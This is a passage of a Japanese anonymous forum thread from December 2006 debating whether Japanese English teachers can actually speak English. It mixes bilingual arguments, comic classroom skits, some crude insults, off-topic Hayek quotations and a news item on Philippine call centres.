Why can they get away with it? They can go around without having their English
proficiency checked.
Why?
It's their employer's fault, isn't it?

I really hope English teachers should brush up their English a little
more seriously but in my opinion most of them are capable teachers,
trying to make a change.

844 :実習生さん:2006/12/17(日) 23:40:22 ID:BNWdBMXZ
>It's their employer's fault, isn't it?

そりゃそうだろ。英語のできない英語教員が採用の判定に加わってるんだからなw

それよか、日本語で書けよ。英文と併記でもいいから。
他の英語教員が理解できないじゃんw



845 :実習生さん:2006/12/17(日) 23:49:10 ID:80GZN00y
Hahaha...
It's all right. I don't expect anyone to read my craps either.

You seem to be the only one who takes trouble reading my postings.
Do you do that because I'm a pathetic sheep from preditor's point of view?



846 :実習生さん:2006/12/17(日) 23:54:00 ID:80GZN00y
Probably I should have put "a" in front of preditor...


847 :実習生さん:2006/12/17(日) 23:54:17 ID:BNWdBMXZ
>>845
なんでいきなり羊になっちゃうのか理解できないなぁw

でも日本語で書いたら読んでくれる英語の先生はたくさんいると思うよ。
このスレの前半は大勢英語の先生が書き込みしてたけど、キミが英語を書くようになってから、
すっかり過疎スレになったでしょ?




848 :実習生さん:2006/12/17(日) 23:57:51 ID:80GZN00y
I doubt there were many English teachers who wanted to say
something about their own English proficiency.

There were just you and some others who wrote basically same things
again and again...

Anyways, I've got to go. Sweet dreams.

849 :実習生さん:2006/12/18(月) 00:10:00 ID:L6qYD+wA
>>848
逐一現実を無視する人だね。
キミがアルファベットで書き込みを連投するまでは、何人もの英語の先生が(日本語で)書き込みをしてたんだよ。
英語ができなくても教えることはできる、とか言ってたんだからな。
そいつらがいなくなっただろ?

それに、>1の新聞記事を見ても、英語の教師は英語できないのは一目瞭然だ。

眠れは現実逃避はできるがねw


850 :実習生さん:2006/12/18(月) 04:32:55 ID:gY5SNp7d
そうだね。確かに英語教師は英語ができないようだ。

>>849
そしたらお前も英語教師目指さないか?
俺はいま教育学部で勉強してる。

851 :実習生さん:2006/12/18(月) 07:00:41 ID:1+O6Ddg5
>>850
嘘つかないでください。英語ができない英語教師なんていません。
英語教師はほぼ例外なく英検を持っています。
そうやって、煽るのは辞めてください。

852 :実習生さん:2006/12/18(月) 07:53:18 ID:KZ4k1ex0
問題は英語のできる2割の先生が一部の高校に偏って存在することだな。
彼らは英語が出来ない英語教師が存在することを信じないだろう。

残り8割の英語教師は周りにいる教師も出来ないから、
自分が英語が出来ないということに気づくこともない。

853 :実習生さん:2006/12/18(月) 11:29:29 ID:oKYSxz+3
俺の英語教師ヘボ

854 :実習生さん:2006/12/18(月) 19:08:04 ID:eiJF5kJW
>>852

Those excellent teachers are all in SELhis(Super English Language School)?
I don't think so, because people in the Board of Education are not so concerned
about teachers' characteristics(credentials) when they place them at a
certain school. Public school teachers have to be able to teach various kinds of
schools.

855 :実習生さん:2006/12/18(月) 19:15:15 ID:eiJF5kJW
>>850

You've got a point there. Since >>849 is very much concerned about
and interested in the proficiency and issues of English teachers,
he should bravely get into the messed-up English teaching job himself
and fix them. Why don't you join us? Let's work for the youngsters
with so much future ahead of them!

856 :実習生さん:2006/12/18(月) 19:26:21 ID:eiJF5kJW
>>849

Do you always take everything at a face value? When I say I'm a teacher,
do you believe me? People might say they are teachers but they might not.
How would you know what people claim to be true is really so?
What is good about this thread is we can exlpore our ideas without
taking full responsibility, which means I also teall a lot of crap here.

857 :実習生さん:2006/12/18(月) 21:31:00 ID:q/eKxCNO
>>839

I'm not sure about the follwing matter.
Isn't it a problem that a school teaher recommend a specific program?


858 :実習生さん:2006/12/18(月) 21:39:10 ID:q/eKxCNO
And teachers shouldn't answer stupid questions on this board.
Althouh I'm not poor at Enfglish. I use English on this board.
Those who can answer in only English aren't school teachers.
True teachers don't have to answer to naughty buys.

859 :実習生さん:2006/12/18(月) 21:47:16 ID:oKYSxz+3
今日英語の先生の前でとある男子と音源ONにして私がプッシュトークしてたら,3言目に『●●(英語教師の名前)ウザス』とか言い出したもんだからかなり爆笑!!
先生腸煮えくり返ってそうで恐いですwでも明日が楽しみだぁい♪

860 :実習生さん:2006/12/18(月) 21:55:31 ID:eiJF5kJW
>>857

Do you think we shouldn't make our students buy specific books?
I think it is all right to just recommend what books to read or
what TV, radio programs to listen or watch. No one will get any
profit except for your students.

>>858
Well, I wonder if you didn't think my question in >>839 was a
stupid one. I think you may be poor at Enfglish but you are
not poor at English...Just joking.
Well, I'm a teacher myself at least.
I deal with naughty kids everyday. I miss them a lot when they
leave school.

861 :実習生さん:2006/12/18(月) 21:58:51 ID:oKYSxz+3
SMSメールした相手が担任の教師だったという罠w

862 :実習生さん:2006/12/18(月) 22:15:43 ID:q/eKxCNO
>>860
I ment to say "naughty guys" mean people who have some complainments about JETs.
I was just wondering whether there is no problem in the case a teacher
tells the students that they should read some book or watch some program by a broadcastig.




863 :実習生さん:2006/12/18(月) 22:44:09 ID:eiJF5kJW
>>862

I guess it is wrong for us to recommend to our students a particular
cram school, for example, Jonan, Yoyogi,or Toshin...
I'm not so familiar with the rule about do's and don'ts of a public worker.
Yes, you are right. I think we should be careful about things like that, though.

864 :実習生さん:2006/12/18(月) 22:47:08 ID:eiJF5kJW
wrong for us→wrong of us?
the rule→the rules
of a public worker→concerning public workers' behavior

865 :実習生さん:2006/12/19(火) 11:46:50 ID:0vFEqyXu


201×年×月×日某所

A子:あら、あんなところで残飯漁ってる浮浪者がいるわ。
B子:あぁ、あの人ね、昔、英語の教師だったのよ。
A子:へぇー、英語ができるなら普通に仕事すればいいのにね。
B子:英語なんかできるわけないでしょ。英語できない英語教師が沢山いたのよ、昔は。
A子:えー、本当?そんな信じられない。英語できないのに教室で何をしてたの?
B子:まぁ、税金と時間の無駄ね。だから、子供はみんな放課後に塾とかに行ってたのよ。
   子供はクタクタになるし、お金はかかるし、それは大変だったのよ。
A子:そんな暗黒時代があったのね。


866 :実習生さん:2006/12/19(火) 12:21:56 ID:0vFEqyXu



キャサリン:この前、地下鉄の中で日本人の観光客がお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ハロー、ハウデューデュー”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分は英語の教員だから聞き間違うはずがないって言い張るのよ。
ジョン  :アハハ、日本人の英語教員は英語なんかできないんだよ。
キャサリン:え?そうなの?
ジョン  :でも、彼らは英語できるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らは自覚しないからね。



867 :実習生さん:2006/12/19(火) 12:24:20 ID:upXS0tJ7
昔この手のスレによく出てきていた、
英語教師は英語が出来なくても英語が教えることができればいいと主張していた人たちはどこに行った?

同僚に英語が出来る人がいることを知って逃げたか?

868 :実習生さん:2006/12/19(火) 12:52:16 ID:4+5kzQOh
キャサリン:この前、地下鉄の中で日本人のニートがお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ぬるぽ、ワロス”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分はニートだから英語なんて分かるはずがないって言い張るのよ。
ジョン  :アハハ、日本人のニートは仕事もしない世界的な恥だからな。
キャサリン:え?そうなの?
ジョン  :でも、彼らは働いてるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らはニートだって自覚しないからね。


869 :実習生さん:2006/12/19(火) 13:31:17 ID:0vFEqyXu

英語教師:あー静かに。ほら、席に着け。もうチャイム鳴っただろ。
ジョン: ・・・・
英語教師:えー今日から外人の先生が週一回来てくれることになった。
生徒:  外人って外国人のこと?
英語教師:じゃ、ジョン先生お願いします。
ジョン: ・・・?・・・
英語教師:あ、そっか。アー、ジョン、ティーチャー、プリーズ。
ジョン: Could you introduce me to the students, first?
英語教師:え?!、イントロ?あぁ、紹介ね。マイ・ネーム・イズ・スズキ。
ジョン: No. No. You introduce ME to the students.
英語教師:あッぁ、アイ・アム・イングリッシュ・テーチャー。
     フォーティーイアーズ・オールド。ベリーオールド。なんちゃってw
ジョン: I don't ask you to introduce yourself to me. Please introduce ME to the STUDENTS.
英語教師:アイ・ライク・ジャパニーズフード・ライク・スシ・・・
生徒:  生徒に紹介してくれって言ってるんじゃないの?
英語教師:うるさい。授業中は静かにしてろ。アァー、ジョン・ティーチャー、ジュギョウ・プリーズ。
ジョン: You don't understand. I ask you to introduce ME to the STUDENTS. OK?
英語教師:あっ、ステューデントね。アイ・シー、アイ・シー。おい、それじゃ、まず、秋山から自己紹介しろ。
生徒:  ザワザワ(そうじゃないんじゃない?)





870 :実習生さん:2006/12/19(火) 15:01:46 ID:4+5kzQOh
英語教師:あー静かに。ほら、席に着け。もうチャイム鳴っただろ。
ニート: ・・・・
英語教師:えー今日は序数詞の勉強やるぞ。
ニート: 序数詞って何ですか。
英語教師:序数詞も分からないのか、やっぱりニートだな。
ニート: ・・・?・・・
英語教師:一番目、二番目、って数えてくやつだよ。じゃいくぞ。
生徒@: first
英語教師:OK Next
生徒A: second
英語教師:good Next
生徒B: third    
英語教師:good next
ニート: (自信満々)ショート!
英語教師:・・・・もういい。帰って2ちゃんでもやってろ。


871 :実習生さん:2006/12/19(火) 15:13:53 ID:DR89iWOk
>869
それは冗談じゃなくよくある話。

>870
お前、ニートの意味わかってないだろ。
少しは勉強しろよ、英語教師なら。

872 :実習生さん:2006/12/19(火) 19:09:28 ID:yBtfhrjM
I always think of "neat" when I hear the sound of[ni:t].

873 :実習生さん:2006/12/19(火) 20:15:57 ID:Txy55Klv
>>869 話としてはおもしろいけどさ。この程度の英語は子供が分かるよ。
でも、また、投稿してみて。

874 :実習生さん:2006/12/19(火) 20:50:00 ID:07EoKmGj
>>869ほどひどい例は見たことも聞いたこともないが、
I she. とか Shit down. みたいな発音のヤツは多いな。
前者はまだ生温かい目で見守れるが、後者はさすがに下品。

875 :実習生さん:2006/12/19(火) 21:26:20 ID:IRQcBTHO
JET: Hello, class. As you see, we have Sean today. Sean'll introduce himself.
Let's find out what country he is from, how old he is, and what are his interests.
Oh, no! Kaori, stop putting on a make-up. Kenji, don't walk around. Keiko,
put aside your cell phone.
Kaori: うざくね〜。何?あの外人。だっさ〜。
Kenji: 歩きまわっちゃいね〜よ〜。くそだよ、くそ。
Sean: (to the JET) What's "kuso?"
JET: He just wants to go to the bathroom.
Sean: Oh, I see.
JET: Keiko, are you still on the phone. Let's hear what he wants to say.
Keiko: (talking with her boyfriend on the phone) 明、それでね、それでね…。
JET: (loudly) Keiko, could you please hang up and listen to Sean.
Keiko: (even more loudly) ごめん、明。 先公がでかい声で聞こえね〜よ。もっと
    大きい声で喋ってくれるぅ?
Sean: All right. I'm from the United States of America...
Students: (to the JET) 何言ってんの?わけわかんね〜。
Seam: I'm 23 years old.
Kaori: (to her friends) 今23歳って言った?見えなくね〜。おっやじぃ!
Kenji: (back from the bathroom) 帰ったぞ〜。あ、すっきりした。でけえクソして来たよ。
Keiko: ケンジ、でかい声で話すなよ。ちゃんとドア閉めてこいよ。さみぃよ。(into the phone)
ごめん、明。気がきかねえヤツばっかだよ。


876 :実習生さん:2006/12/19(火) 21:29:28 ID:0vFEqyXu


キャサリン:この前、地下鉄の中で日本人の観光客がお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ハロー、ハウデューデュー”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分は英語の教員だから聞き間違うはずがないって言い張るのよ。
ジョン  :アハハ、日本人の英語教員は英語なんかできないんだよ。
キャサリン:え?そうなの?
ジョン  :でも、彼らは英語できるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らは自覚しないからね。



877 :実習生さん:2006/12/19(火) 21:49:14 ID:IRQcBTHO
I really like >>869. Isn't it so funny? Is that your original story?

As for >>877, it's the story I must made up, base on my every day experience.
Sean(←not his real name) says he often feels like kicking out
some of the students who are being so destructive, but in my imaginary
situation above, he seems to behave himself...

878 :実習生さん:2006/12/19(火) 21:50:17 ID:IRQcBTHO
I must made up→I just made up

879 :実習生さん:2006/12/20(水) 09:44:51 ID:I48NeuRu
>>871
さすがは本家のニートだな
 定義にプライドを持ってるらしいw

880 :実習生さん:2006/12/20(水) 19:02:05 ID:kGgfOvSa
>>877 どうして日本語で打たないの? 日本語打てない?
それとも英語で打つとかっこいいと思っているの?

881 :実習生さん:2006/12/20(水) 22:02:49 ID:3iH1HFoP
>>880

I don't reckon using English is cool at all, especially my awkward English.
I just want to show some English teachers enjoy learning English and
try to get the hang of it and all that. I think it will answer the question
to the title of the thread "なぜ、英語教師は日本語しかできないのか?"
As limited as it is, English teachers are trying to use English as much as
possible in their classes no matter what the others might say...
I'm pretty much drunk today after I had so much beer in our year-end drinking
party. I wonder how you think of >>875. That's our reality we have to deal
with everyday. I feel like talking with somebody tonight. Does anyone talk with me?

882 :実習生さん:2006/12/20(水) 23:40:35 ID:3iH1HFoP
I don't know anyone who doesn't want to justify what they do. I guess
that's what I'm just trying to do here.
If so many people are unhappy about what we are trying to do, perhaps
we just start to think of the way we do.
In my workplace, we ask our students what they think of the way teach by
answering the questionaire, which is a multiple-choice type of it, and
they tell us how satisfied they are by ticking a number out of five;
if they are very happy(5), they are happy(4), they think it's OK(3),
they are not very happy(2), and they think our performance is very poor(1)

Strangely enough, almost all the teachers seem to get similar scores.
There are teachers who have TOEIC score only 600, and there are teachers
who have a STEP 1st grade qualification. No matter how different our
English proficiency is, the result of the questionaire are not very different
amond us. Most of the students say they are happy about how we teach...
No matter what we do, or how we do, they are mostly happy. As you might guess,
it doesn't really give us any motivation to improve our teaching, really.

883 :実習生さん:2006/12/20(水) 23:44:43 ID:3iH1HFoP
I read >>882 again. There are so many mistakes, I don't really want to
correct them all. It's too time-consuming.
All right. I'm too much drunk and very tired. I've got to go.

884 :実習生さん:2006/12/21(木) 13:15:06 ID:J2PtpuHF
安部首相が手がけてるニート対策のニュース見たが
ホームレスに弁当配ってたぞ。お前らも行って何か
やってこいや。

885 :実習生さん:2006/12/21(木) 19:08:04 ID:bX87QnGN
頼むから日本語で英語でもいいから、きちんと打ってくれ。いちいち、
子供にきくのは面倒でかなわん。

886 :実習生さん:2006/12/21(木) 21:33:45 ID:Slt8oQu6
あきらかに英検で言えば2級程度あるかないかの馬鹿英語教師がいたなあ。
親も先生だったからなったんだって、コネ採用とかあんの?

887 :実習生さん:2006/12/21(木) 21:37:09 ID:J2PtpuHF
>>885
と、言いながらタイプミスしているバカ

888 :実習生さん:2006/12/21(木) 22:23:40 ID:2zeOoN/V
>>886
コネ採用は公務員全般で行われている

889 :実習生さん:2006/12/21(木) 23:36:34 ID:W4WZFDJN
ここには、昼間から英語教師の悪口書かれてるかどうか見張ってる英語教師がいるみたいだねw
そんなことしてる暇があったら単語の一つでも覚えれば?
英語教師はただでもバカなんだからw

890 :実習生さん:2006/12/22(金) 08:40:08 ID:zeDOKhzW
生きてるだけで丸儲け

891 :実習生さん:2006/12/22(金) 14:14:43 ID:9nuqsZaB
ニートがホームレスを襲撃かよ。
どこまで落ちぶれてんだか。
ニートはどうしようもねえな。

892 :実習生さん:2006/12/23(土) 10:48:09 ID:Yvi8DHGw
>891 英語教師ですか?


893 :実習生さん:2006/12/23(土) 10:56:29 ID:kmZ+LDsE
英語を使う機会が日本には皆無だから

894 :実習生さん:2006/12/23(土) 15:48:36 ID:JY21dljH
>>892
いえいえ、とんでもない。
 ただのニートです。

895 :実習生さん:2006/12/23(土) 16:06:06 ID:Er7MbV5s
英語教師はいじめ加担するし、人を傷つけて知らん振り


896 :実習生さん:2006/12/23(土) 16:08:20 ID:w2mKPCcm
894を書いてる奴もどうせ英語教師だろ

897 :実習生さん:2006/12/25(月) 12:17:24 ID:w9yfHMqp
教師とは関係ないが、東大行くなら、ハーバードのほうがいいね。
東大は日本だけだが、ハーバードなら全世界に通用する。格が違う。なにも大学は日本だけではないからな。
東大いける位なら、ハーバードはまず大丈夫。英語が出来るのは言うまでもなく。

898 :実習生さん:2006/12/26(火) 18:00:23 ID:EcTWE1ey

【比】フィリピンにコールセンター、欧米が相次ぎ開設 英語が話せ、人件費が安い[12/26]

欧米企業がフィリピンで顧客向け電話窓口業務などのコールセンター事業
を急拡大している。
英語が話せる人材を安い費用で雇えるためで、センターは100カ所に達し
雇用者数も10万人を超えた。
2010年には同国の国内総生産(GDP)の5%を占める主要産業に成長するとの
見方もある。
米コンピューター大手のデルは2月、フィリピンで同社初のコールセンターを
設置した。来年には2番目の拠点も開設する。
主な業務は米国の顧客からの問い合わせへの対応。
さらに八拠点を設ける計画だ。

ニュースソース
http://www.nikkei.co.jp/news/kaigai/20061226AT2M2401D26122006.html


899 :実習生さん:2006/12/26(火) 19:12:06 ID:2i6UJ/7p
>>887 分からない野郎だなあ。タイプミスしないくらいなら、
子供にきかなくても、間違った英語の日本語訳くらい分かるよ。

900 :実習生さん:2006/12/26(火) 20:29:28 ID:/tjDzr/D
>>898
It's not only Filipinos but a lot of Indians are hired for call centers,
because it's cheaper to have an office and hire Indians (or Filipinos or
Filipinas) whose English is basically very good.

It is also beneficial to run those call centers for 24 hours a day because
of the time difference. If you have some questions to ask in the middle of
the night, you can talk to an operater in the Philippines, where their time
is in their working hours.

It makes much sense to me.

901 :実習生さん:2006/12/26(火) 20:40:32 ID:x0Ee+1qX

>>900
じゃ、アメリカで昼間にパソがトラブッたらどうするんだ?


902 :実習生さん:2006/12/26(火) 20:55:01 ID:/tjDzr/D
>>901

There seems to be no problem in that case as well. Those operaters
speak good enough English so you can talk to them without any problem.
I've read in the newspaper some American parents hire Indian tutors
living in India to teach their kids by using something like Skype.
What surprised me was that they teach not only math or science but English
language itself!

Imagine what it is like having a overseas teachers (whose primary language is
not English) teach them English.

903 :実習生さん:2006/12/27(水) 14:49:37 ID:btUNnOgx
ニートはどうしようもねえな。

904 :実習生さん:2006/12/27(水) 21:00:08 ID:JOsUZHtN
ここで英語教員批判してる奴らは
今年も教員採用試験に落ちたことが
そんなに悔しいのか・・・。
可哀想に。

905 :実習生さん:2006/12/27(水) 22:08:33 ID:sUSevm/O

キャサリン:この前、地下鉄の中で日本人の観光客がお尻触ってきたのよ。
ジョン  :ほう。
キャサリン:“止めないと警察呼ぶわよ”って言っても止めないから突き出してやったわ。
ジョン  :最低だな。
キャサリン:その男、警察で“ハロー、ハウデューデュー”とか、わけわからないこと言ってるわけ。
ジョン  :池沼か?w
キャサリン:すぐ日本人のガイドさんが飛んできて、通訳してくれたんだけど、
      その男が言うには、私が“触って”って言ったから触ったんだってw
      自分は英語の教員だから聞き間違うはずがないって言い張るのよ。
ジョン  :アハハ、日本人の英語教員は英語なんかできないんだよ。
キャサリン:え?そうなの?
ジョン  :でも、彼らは英語できるって言い張って聞かないんだけどねw で、どうなった?
キャサリン:どうもこうも、そのまま警察においてきたわ。
ジョン  :それでいい。そうしないと彼らは自覚しないからね。



906 :実習生さん:2006/12/27(水) 22:18:43 ID:sUSevm/O

英語教師:あー静かに。ほら、席に着け。もうチャイム鳴っただろ。
ジョン :・・・・
英語教師:えー今日から外人の先生が週一回来てくれることになった。じゃ、ジョン先生お願いします。
ジョン :・・・?・・・
英語教師:あ、そっか。アー、ジョン、ティーチャー、プリーズ。
ジョン :Could you introduce me to the students, first?
英語教師:え?!、イントロ?あぁ、自己紹介ね。マイ・ネーム・イズ・スズキ。
ジョン :No. No. You introduce ME to the students.
英語教師:あッぁ、アイ・アム・イングリッシュ・テーチャー。フォーティーイアーズ・オールド。ベリーオールド。なんちゃってw
ジョン :I don't ask you to introduce yourself to me. Please introduce ME to the STUDENTS.
英語教師:アイ・ライク・ジャパニーズフード・ライク・スシ・・・
生徒  :生徒に紹介してくれって言ってるんじゃないの?
英語教師:うるさい。授業中は静かにしてろ。アァー、ジョン・ティーチャー、ジュギョウ・プリーズ。
ジョン :You don't understand. I ask you to introduce ME to the STUDENTS. OK?
英語教師:あっ、ステューデントね。生徒の自己紹介ね。アイ・シー、アイ・シー。おい、それじゃ、まず、秋山から自己紹介しろ。
生徒  :(ザワザワ)そうじゃないんじゃない?



907 :実習生さん:2006/12/27(水) 22:50:49 ID:mvJ76uBi
>>906 妄想は頭の中だけにしてください。

908 :実習生さん:2006/12/27(水) 23:16:20 ID:sUSevm/O

栄見純一郎(生徒):You asked him to introduce you to us, right?
ジョン     :Yes, Yes. You understand me.
栄見純一郎   :先生、あのぉ、ジョン先生のことを生徒に紹介して欲しいって言ってますよ。
英語教師    :あっ?何だお前は。そんなことはわかってるよ。そのぐらいわからないでどうする。
栄見純一郎   :えぇ、ですから、生徒の自己紹介の前にジョン先生をみんなに紹介したほうが…
英語教師    :だから、今やろうと思ってたんだろ。それよりお前、授業中に私語は慎め。
栄見純一郎   :・・・
ジョン     :・・・
英語教師    :えー、これから週一回はこのジョン先生が授業をすることになる。
         だから、オレの出番は一回減るってこと。じゃ、秋山、自己紹介してみろ。
ジョン(純一郎に):(whispering) He already introduced me to everyone?
栄見純一郎   :I don't know. He just said that you would come to the class once a week.
英語教師    :栄見!、私語は慎めと言っただろ。何回言ったらわかるんだ。
ジョン     :・・・
栄見純一郎   :・・・



909 : ◆yk/JpL/Z9U :2006/12/28(木) 00:07:14 ID:bx2eclIG
英語教師が日本語ができるというのは嘘だな。
単にお喋りすればいいだけなら、その通りだろうけど。

で、叩いてるお前らは日本語が分かってるのか?

910 :実習生さん:2006/12/28(木) 00:21:48 ID:PwT9xOEq
>>909
ハイハイ、こっちこっちw

猫と語ろう国語教育 partU
http://tmp6.2ch.net/test/read.cgi/mog2/1167048114/l50

911 :実習生さん:2006/12/28(木) 13:39:26 ID:hAZOcDko
>>909
お前が一番分かってないよ。
 早くそっち行け!

912 :実習生さん:2006/12/28(木) 15:04:15 ID:m7jePPyl
>>909
>英語教師が日本語ができるというのは嘘だな。

I wonder what you meant by that.
You seem to be talking about Japanese English teachers. Are you saying
that none of them has a good command of their own mother tongue, namely
Japanese? I'm a JET who is trying to learn English more, hopefully trying
to help our students to learn it better at the same time.
I have realized so many times how limited my own English abilities are, but
I have never suspected that there is something very wrong about my command
of my own native tongue.
I really would like you to elaborate on this matter.

913 :実習生さん:2006/12/28(木) 23:58:31 ID:aIFSvO/N
アメリカへ電話かけたことあります?
聞いても無駄か

914 :実習生さん:2006/12/29(金) 14:30:02 ID:XLzS4dc8
ハイエク「法 立法 自由」

「幼児教育の基礎であった正邪の概念の根絶、老人たちの確信するものを信頼する代わりに、
知的・理性的な思考をもってくること、[……その後]大部分の精神科医と心理学者、および
その他多くの尊敬すべき人々はこれらの道徳的な拘束から逃れ、自由に観察し、思考するこ
とができる。」

かれの意見によれば、人間を「不具にする善悪という重荷」と「正邪という厄介な概念」から
人類を解放し、また、それによって、人類の近い将来を決定するのは、精神科医の任務であった。

われわれがいま集めているのはこれらの種子の収穫物である。何か自分が決して学習したことの
ないものとは自分は相容れないと主張し、「反文化」の構築を企てさえするような、教化されて
いない野蛮人は、文化の荷を伝えることがでぎず、しかも野蛮人の本能である自然の本能に頼る、
甘えの教育の必然的な産物である。


915 :実習生さん:2006/12/29(金) 16:18:38 ID:YnrpQDUk
ハイエク「法 立法 自由」

教育に対する深い影響力を通して、ジークムント・フロイトはおそらく
文化の最大の破壊者となった。
晩年、『文明とその不満』において、
かれは自分の教育の結果の一部によって少なからぬ動揺を受け たように思われるが、
文化的に獲得された抑圧を取り除き、自然の欲動を解放する、というかれの
基本的な狙いは、あらゆる文明の基礎に対するもっとも致命的な攻撃を開始した。


916 :実習生さん:2006/12/29(金) 20:05:17 ID:0EsuzfoB
>>908 おもしろいから続けてくれ。

917 :実習生さん:2006/12/29(金) 21:08:33 ID:XRH8q0tN
>>908

Well done. I hope it will continue, too.
The teacher is somehow endearing to me.

918 :実習生さん:2006/12/29(金) 21:48:43 ID:9HnXlf83

英語教師:あー静かに。ほら、席に着け。もうチャイム鳴っただろ。
ジョン :・・・・
英語教師:えー今日から外人の先生が週一回来てくれることになった。じゃ、ジョン先生お願いします。
ジョン :・・・?・・・
英語教師:あ、そっか。アー、ジョン、ティーチャー、プリーズ。
ジョン :Could you introduce me to the students, first?
英語教師:え?!、イントロ?あぁ、自己紹介ね。マイ・ネーム・イズ・スズキ。
ジョン :No. No. You introduce ME to the students.
英語教師:あッぁ、アイ・アム・イングリッシュ・テーチャー。フォーティーイアーズ・オールド。ベリーオールド。なんちゃってw
ジョン :I don't ask you to introduce yourself to me. Please introduce ME to the STUDENTS.
英語教師:アイ・ライク・ジャパニーズフード・ライク・スシ・・・
生徒  :生徒に紹介してくれって言ってるんじゃないの?
英語教師:うるさい。授業中は静かにしてろ。アァー、ジョン・ティーチャー、ジュギョウ・プリーズ。
ジョン :You don't understand. I ask you to introduce ME to the STUDENTS. OK?
英語教師:あっ、ステューデントね。生徒の自己紹介ね。アイ・シー、アイ・シー。おい、それじゃ、まず、秋山から自己紹介しろ。
生徒  :(ザワザワ)そうじゃないんじゃない?


919 :実習生さん:2006/12/29(金) 21:50:31 ID:9HnXlf83

栄見純一郎(生徒):You asked him to introduce you to us, right?
ジョン     :Yes, Yes. You understand me.
英語教師    :・・・
栄見純一郎   :先生! あのぉ、ジョン先生のことを生徒に紹介して欲しいって言ってますよ。
英語教師    :あっ?何だお前は。そっそんなことはわかってるよ。そのぐらいわからないでどうする。
栄見純一郎   :えぇ、ですから、生徒の自己紹介の前にジョン先生をみんなに紹介したほうが…
英語教師    :だから、今やろうと思ってたんだろ。それよりお前、授業中に私語は慎め。
栄見純一郎   :・・・
ジョン     :・・・
英語教師    :えー、これから週一回はこのジョン先生が授業をすることになる。
         だから、オレの出番は一回減るってこと。じゃ、秋山、自己紹介してみろ。
ジョン(純一郎に):(whispering) He already introduced me to everyone?
栄見純一郎   :I don't know. He just said that you would come to the class once a week.
英語教師    :栄見!、私語は慎めと言っただろ。何回言ったらわかるんだ。
ジョン     :・・・
栄見純一郎   :・・・


920 :実習生さん:2006/12/29(金) 21:51:38 ID:9HnXlf83

英語教師    :(突然大声で)今日はザワついてるなぁ。お前ら勉強する気あるのか?
         よーし、みんな教科書閉じろ。そして目を閉じて、先生の話を静かに聴け。
ジョン     :・・・
栄見純一郎   :・・・
英語教師    :(教室内を歩き回りながら)お前たちは、勉強しなきゃいけないのは誰なのか理解してないようだ。
         勉強するのは先生か?違うだろ?勉強するのは、お前らだ。
         先生が英語できてどうする?先生が英語できると、お前らが入試に受かるわけではない。
         わかるな。
         だから先生が英語できるかどうかなんて考えちゃいかん。
         勉強するのはお前らなんだからな。お前らは先生を馬鹿にするほど英語できるのか?
         アメリカ人みたいに英語できるのか?できないだろ?

         なら、先生の英語力についてとやかくいう資格はない。わかったな。
         でも、お前ら内心では“先生って英語できないじゃないか”なんて思ってる奴もいるんじゃないか?
         そんなことを考えているようでは入試には受からんぞ。絶対受からんな。
         先生も今まで何人もの生徒を送り出してきたが、そんなことを考えてる生徒の100人中99人は不合格だ。
         いいか、そんなことを考えてる生徒の8割が不合格だぞ。
         だから、そんなこと考えちゃいかん。わかったな。


921 :実習生さん:2006/12/29(金) 21:52:47 ID:9HnXlf83

英語教師    :先生は英語できないわけじゃない。英語教師なんだから英語ができて当たり前だ。
         夏休みにはアメリカ旅行のツアーに行って来たぞ。地下鉄に乗ったり警察に行ったりしたんだ。
         そんなことお前らにできるか?できないだろ?
         だから先生を馬鹿にしちゃいかん。先生を馬鹿にすると必ず入試に失敗するからな。
         だいたい教師というものは英語ができればいいってもんじゃない。
         へたに英語なんかできると教育にはマイナスだ。英語できる人は英語教師には向かないんだよ。
         ちょっと考えれば、そんなことはすぐにわかる。
         だいたいお前ら、学校終わった後、何してる?どうせくだらないテレビ見てるだけだろ。
         それともゲームか?2チャンなんか見てるバカもいるだろ。
         2チャンなんかウソだらけだからな、特に教育板は。あぁいうのを見てる奴は必ず入試に落ちる。
         お前たち、どうせ一生英語なんか使わないよ。オレだってまともに使ったことないもん。
         そういう奴らに教えるのに英語力なんか必要ない。
         だいたい、英語を教えるだけでは教師は勤まるわけないだろ。
         部活動があれば事故が起こらないかどうか職員室で心配しなけりゃならん。
         放課後だって、問題を起こす生徒がいないかどうか気の休まるときがないんだからな。
         英語ができるとこういう大事な仕事ができない。



922 :実習生さん:2006/12/29(金) 21:54:25 ID:9HnXlf83

英語教師     :そういう事情を知りもしないで、英語教師の英語力をバカにする奴がいる。
          教師をバカにしている。でも、そういう奴に限って入試は落ちる。受かるわけがない。
          絶対、落としてやる。
ジョン(純一郎に):(whispering) What he is doing?
純一郎      :Well, a kind of a preach....
英語教師     :・・・
ジョン      :What should I do now?
純一郎      :Just stay....
英語教師     :・・・
ジョン      :I came here to teach English... but he doesn't understand me.
          English teachers here are always like this?
純一郎      :Yes, but I can't help it.
英語教師     :(突然大声で)コラァ―、いつになったら私語を止めるんだ!
ジョン      :・・・
純一郎      :・・・
英語教師     :栄見、後で英語準備室に来なさい。きょうはこれまで。



923 :実習生さん:2006/12/29(金) 22:10:43 ID:XRH8q0tN
>>918-922

How clever! How hilarious!
I'm dying to know what will happen in the staff room later.

